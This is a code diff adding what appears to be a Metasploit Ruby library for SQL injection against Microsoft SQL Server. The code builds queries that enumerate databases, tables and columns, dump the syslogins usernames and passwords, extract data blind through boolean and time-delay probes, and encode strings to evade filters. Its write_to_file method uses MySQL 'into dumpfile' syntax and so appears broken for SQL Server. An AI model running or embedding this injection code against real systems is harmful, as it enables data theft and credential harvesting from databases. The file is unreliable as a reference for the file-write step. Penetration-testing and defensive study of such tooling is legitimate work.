|
| 1 | +# coding: ascii-8bit |
| 2 | + |
| 3 | +require 'base64' |
| 4 | +# |
| 5 | +# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries |
| 6 | +# needed when performing SQL injection. |
| 7 | +# Instanciate it only if you get the query results of your SQL injection returned on the response. |
| 8 | +# |
| 9 | +module Msf::Exploit::SQLi::Mssqli |
| 10 | + class Common < Msf::Exploit::SQLi::Common |
| 11 | + # |
| 12 | + # Encoders supported by Microsoft SQL Server |
| 13 | + # Keys are MSSQL function names, values are decoding procs in Ruby |
| 14 | + # |
| 15 | + ENCODERS = { |
| 16 | + hex: { |
| 17 | + encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))', |
| 18 | + decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) } |
| 19 | + } |
| 20 | + }.freeze |
| 21 | + |
| 22 | + # |
| 23 | + # See SQLi::Common#initialize |
| 24 | + # |
| 25 | + def initialize(datastore, framework, user_output, opts = {}, &query_proc) |
| 26 | + opts[:concat_separator] ||= ',' |
| 27 | + if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol) |
| 28 | + # if it's a String or a Symbol, use a predefined encoder if it exists |
| 29 | + opts[:encoder] = opts[:encoder].downcase.intern |
| 30 | + opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]] |
| 31 | + end |
| 32 | + super |
| 33 | + end |
| 34 | + |
| 35 | + # |
| 36 | + # Query the Microsoft SQL Server version |
| 37 | + # @return [String] The Microsoft SQL Server version in use |
| 38 | + # |
| 39 | + def version |
| 40 | + call_function('@@VERSION') |
| 41 | + end |
| 42 | + |
| 43 | + # |
| 44 | + # Query the current database name |
| 45 | + # @return [String] The name of the current database |
| 46 | + # |
| 47 | + def current_database |
| 48 | + call_function('DB_NAME()') |
| 49 | + end |
| 50 | + |
| 51 | + # |
| 52 | + # Query the hostname |
| 53 | + # @return [String] The hostname of the server running Microsoft SQL Server |
| 54 | + # |
| 55 | + def hostname |
| 56 | + call_function('@@SERVERNAME') |
| 57 | + end |
| 58 | + |
| 59 | + # Query the current user |
| 60 | + # @return [String] The username of the current user |
| 61 | + # |
| 62 | + def current_user |
| 63 | + call_function('user_name()') |
| 64 | + end |
| 65 | + |
| 66 | + # |
| 67 | + # Query the names of all the existing databases |
| 68 | + # @return [Array] An array of Strings, the database names |
| 69 | + # |
| 70 | + def enum_database_names |
| 71 | + dump_table_fields('master..sysdatabases', %w[name]).flatten |
| 72 | + end |
| 73 | + |
| 74 | + # |
| 75 | + # Query the names of the tables in a given database |
| 76 | + # @param database [String] the name of a database, or nil or an empty string for the current database |
| 77 | + # @return [Array] An array of Strings, the table names in the given database |
| 78 | + # |
| 79 | + def enum_table_names(database = '') |
| 80 | + sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects" |
| 81 | + dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten |
| 82 | + end |
| 83 | + |
| 84 | + def enum_view_names(database = '') |
| 85 | + sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects" |
| 86 | + dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten |
| 87 | + end |
| 88 | + |
| 89 | + # |
| 90 | + # Query the mssql users (their username and password), this might require root privileges. |
| 91 | + # @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password |
| 92 | + # |
| 93 | + def enum_dbms_users |
| 94 | + # might require root privileges |
| 95 | + dump_table_fields('master..syslogins', %w[name password]) |
| 96 | + end |
| 97 | + |
| 98 | + # |
| 99 | + # Query the column names of the given table in the given database |
| 100 | + # @param table_name [String] the name of the table of which you want to query the column names, can be: database.table |
| 101 | + # @return [Array] An array of Strings, the column names in the given table belonging to the given database |
| 102 | + # |
| 103 | + def enum_table_columns(table_name) |
| 104 | + table_schema_condition = '' |
| 105 | + if table_name.include?('.') |
| 106 | + database, table_name = table_name.split(/\.{1,2}/) |
| 107 | + database += '..' |
| 108 | + else |
| 109 | + database = '' |
| 110 | + end |
| 111 | + dump_table_fields("#{database}syscolumns", %w[name], |
| 112 | + "id=(select id from #{database}sysobjects where name='#{table_name}')").flatten |
| 113 | + end |
| 114 | + |
| 115 | + # |
| 116 | + # Query the given columns of the records of the given table, that satisfy an optional condition |
| 117 | + # @param table [String] The name of the table to query |
| 118 | + # @param columns [Array] The names of the columns to query |
| 119 | + # @param condition [String] An optional condition, return only the rows satisfying it |
| 120 | + # @param num_limit [Integer] An optional maximum number of results to return |
| 121 | + # @return [Array] An array, where each element is an array of strings representing a row of the results |
| 122 | + # |
| 123 | + def dump_table_fields(table, columns, condition = '', num_limit = 0) |
| 124 | + return '' if columns.empty? |
| 125 | + |
| 126 | + one_column = columns.length == 1 |
| 127 | + column_names = columns |
| 128 | + |
| 129 | + if one_column |
| 130 | + columns = "cast(isnull(#{columns.first},'#{@null_replacement}') as varchar(max))" |
| 131 | + columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder |
| 132 | + else |
| 133 | + columns = columns.map do |col| |
| 134 | + col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))" |
| 135 | + @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col |
| 136 | + end.join("+'#{@second_concat_separator}'+") |
| 137 | + end |
| 138 | + unless condition.empty? |
| 139 | + condition = ' where ' + condition |
| 140 | + end |
| 141 | + num_limit = num_limit.to_i |
| 142 | + limit = num_limit > 0 ? ' top ' + num_limit.to_s : '' |
| 143 | + retrieved_data = nil |
| 144 | + identifier_generator = Rex::RandomIdentifier::Generator.new |
| 145 | + if @safe |
| 146 | + # no group_concat, leak one row at a time |
| 147 | + count_item = 'cast(count(1) as varchar(max))' |
| 148 | + count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item |
| 149 | + row_count = run_sql("select #{count_item} from #{table}#{condition}") |
| 150 | + row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i |
| 151 | + num_limit = row_count if num_limit == 0 || row_count < num_limit |
| 152 | + # generate a random alias for every column name |
| 153 | + item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate } |
| 154 | + retrieved_data = num_limit.times.map do |current_row| |
| 155 | + if @truncation_length |
| 156 | + truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}") |
| 157 | + else |
| 158 | + run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}") |
| 159 | + end |
| 160 | + end |
| 161 | + elsif num_limit > 0 |
| 162 | + # if limit > 0, an alias will be necessary |
| 163 | + alias1, alias2 = 2.times.map { identifier_generator.generate } |
| 164 | + if @truncation_length |
| 165 | + retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \ |
| 166 | + "^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\ |
| 167 | + "#{condition}) #{alias2}").split(@concat_separator || ',') |
| 168 | + else |
| 169 | + retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\ |
| 170 | + " from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',') |
| 171 | + end |
| 172 | + elsif @truncation_length |
| 173 | + retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \ |
| 174 | + "^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',') |
| 175 | + else |
| 176 | + retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \ |
| 177 | + " from #{table}#{condition}").split(@concat_separator || ',') |
| 178 | + end |
| 179 | + |
| 180 | + retrieved_data.map do |row| |
| 181 | + row = row.split(@second_concat_separator) |
| 182 | + @encoder ? row.map { |x| @encoder[:decode].call(x) } : row |
| 183 | + end |
| 184 | + end |
| 185 | + |
| 186 | + # |
| 187 | + # Checks if the target is vulnerable (if the SQL injection is working fine), by checking that |
| 188 | + # queries that should return known results return the results we expect from them |
| 189 | + # |
| 190 | + def test_vulnerable |
| 191 | + random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10) |
| 192 | + random_string = Rex::Text.rand_text_alphanumeric(random_string_len) |
| 193 | + run_sql("select '#{random_string}'") == random_string |
| 194 | + end |
| 195 | + |
| 196 | + # |
| 197 | + # Attempt writing data to the file at the given path |
| 198 | + # |
| 199 | + def write_to_file(fpath, data) |
| 200 | + run_sql("select '#{data}' into dumpfile '#{fpath}'") |
| 201 | + end |
| 202 | + |
| 203 | + private |
| 204 | + |
| 205 | + # |
| 206 | + # Helper method used in cases where the response is truncated. |
| 207 | + # @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying |
| 208 | + # @return [String] The query result |
| 209 | + # |
| 210 | + def truncated_query(query) |
| 211 | + result = [ ] |
| 212 | + offset = 1 |
| 213 | + loop do |
| 214 | + slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s)) |
| 215 | + offset += @truncation_length # should be same as @truncation_length for most cases |
| 216 | + result << slice |
| 217 | + vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}" |
| 218 | + print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length |
| 219 | + break if slice.length < @truncation_length |
| 220 | + end |
| 221 | + result.join |
| 222 | + end |
| 223 | + |
| 224 | + # |
| 225 | + # Checks the options specific to Microsoft SQL Server (if any) |
| 226 | + # |
| 227 | + def check_opts(opts) |
| 228 | + unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern] |
| 229 | + raise ArgumentError, 'Unsupported encoder' |
| 230 | + end |
| 231 | + |
| 232 | + super |
| 233 | + end |
| 234 | + |
| 235 | + def call_function(function) |
| 236 | + function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder |
| 237 | + output = nil |
| 238 | + if @truncation_length |
| 239 | + output = truncated_query("select substring(#{function},^OFFSET^,#{@truncation_length})") |
| 240 | + else |
| 241 | + output = run_sql("select #{function}") |
| 242 | + end |
| 243 | + output = @encoder[:decode].call(output) if @encoder |
| 244 | + output |
| 245 | + end |
| 246 | + |
| 247 | + def blind_detect_length(query, timebased) |
| 248 | + if_function = '' |
| 249 | + sleep_part = '' |
| 250 | + if timebased |
| 251 | + if_function = 'if(' + if_function |
| 252 | + sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'" |
| 253 | + end |
| 254 | + i = 0 |
| 255 | + output_length = 0 |
| 256 | + loop do |
| 257 | + output_bit = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)&cast(#{1 << i} as bigint)=0#{sleep_part}") |
| 258 | + output_length |= (1 << i) unless output_bit |
| 259 | + i += 1 |
| 260 | + stop = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)/cast(#{1 << i} as bigint)=0#{sleep_part}") |
| 261 | + break if stop |
| 262 | + end |
| 263 | + output_length |
| 264 | + end |
| 265 | + |
| 266 | + def blind_dump_data(query, length, known_bits, bits_to_guess, timebased) |
| 267 | + if_function = '' |
| 268 | + sleep_part = '' |
| 269 | + if timebased |
| 270 | + if_function = 'if(' + if_function |
| 271 | + sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'" |
| 272 | + end |
| 273 | + output = length.times.map do |j| |
| 274 | + current_character = known_bits |
| 275 | + bits_to_guess.times do |k| |
| 276 | + # the query below: the inner substr returns a character from the result, the outer returns a bit of it |
| 277 | + output_bit = blind_request("#{if_function}ascii(substring(cast((#{query}) as varchar(max)), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}") |
| 278 | + current_character |= (1 << k) unless output_bit |
| 279 | + end |
| 280 | + current_character.chr |
| 281 | + end.join |
| 282 | + output |
| 283 | + end |
| 284 | + |
| 285 | + # |
| 286 | + # Encodes strings in the query string as hexadecimal numbers |
| 287 | + # |
| 288 | + def hex_encode_strings(query) |
| 289 | + # for more encoding capabilities, run code at the beginning of your block |
| 290 | + query.gsub(/'.*?'|".*?"/) do |match| |
| 291 | + str = match[1..-2] |
| 292 | + if str.empty? |
| 293 | + "left(char(#{rand(0..255)}),0)" |
| 294 | + else |
| 295 | + str.each_codepoint.map { |code| "char(#{code})" }.join('+') |
| 296 | + end |
| 297 | + end |
| 298 | + end |
| 299 | + end |
| 300 | +end |
0 commit comments